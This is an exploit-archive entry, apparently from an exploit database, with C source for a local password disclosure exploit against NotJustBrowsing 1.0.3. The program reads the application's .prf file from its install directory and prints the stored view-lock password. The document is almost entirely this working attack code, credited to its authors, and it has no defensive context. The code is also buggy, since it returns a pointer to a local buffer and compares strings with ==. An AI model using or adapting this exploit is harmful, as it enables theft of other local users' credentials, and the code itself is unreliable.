NotJustBrowsing 1.0.3 Local Password Disclosure Exploit

                                                /*****************************************************************

NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan

Application: NotJustBrowsing 1.0.3
Procuder: www.notjustbrowsing.com
Vulnerable Description: NotJustBrowsing 1.0.3 discloses passwords
to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
[email protected]

*****************************************************************/

#include <stdio.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


char *bilgi_oku(int adres,int uzunluk)
{
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
					"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
					0,
					KEY_QUERY_VALUE,
					&hKey
					) == ERROR_SUCCESS)
	{

	lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
	if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
	{
		RegCloseKey(hKey);
		return NULL;
	}
	RegCloseKey(hKey);

	strcat(prgfiles,"\\NetLeaf Limited\\NotJustBrowsing\\notjustbrowsing.prf");

	int i;
	FILE *fp;
	char ch[100];
	if((fp=fopen(prgfiles,"rb")) == NULL)
	{
		return "NOTINSTALLED";
	}
	fseek(fp,adres,0);
	for(i=0;i<uzunluk;i++)
	ch[i]=getc(fp);
	ch[i]=NULL;
	fclose(fp);
	return ch;
	}
}

int main()
{
	printf("NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan\n");
	printf("Credits to ATmaCA\n");
	printf("www.netmagister.com - www.spyinstructors.com\n");
	printf("[email protected]\n\n");
	if(bilgi_oku(4,3)==NULL)
	{
		printf("An error occured!\n");
		return -1;
	}
	if(bilgi_oku(4,3)=="NOTINSTALLED")
	{
		printf("NotJustBrowsing 1.0.3 is not installed on your system!\n");
		return -1;
	}
	printf("View Lock Password: %s",bilgi_oku(4,3));
	return 0;
}

// sebug.net